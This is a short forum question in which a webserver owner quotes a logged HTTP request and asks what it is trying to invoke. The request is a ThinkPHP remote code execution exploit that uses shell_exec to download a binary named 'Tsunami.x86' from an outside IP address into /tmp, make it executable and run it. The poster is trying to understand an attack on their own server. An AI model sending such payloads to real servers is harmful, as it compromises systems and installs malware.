TechRepublic|Forums|Malware

Malware

Question

  • Creator
    Topic
  • May 13, 2019 at 10:16 pm #2145468

    Requesting meaning of this url string

    Locked

    by les-a · about 6 years ago

    Tags: 

    My webserver keeps being hit by strange urls. This is one that I’m puzzling over. Can someone tell me what the tool is that its trying to invoke.

    “GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= ‘wget http://185.255.25.168/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86’ HTTP/1.1”

    I also have others for thinkphp, Oasis.x86 and UnHAnaAW.x86.
    I believe hink means hop in Norwegian – don’t know if that’s relevant.

    Thanks.

    Topic is locked This conversation is currently closed to new comments.
  • Creator
    Topic

All Answers

Share your knowledge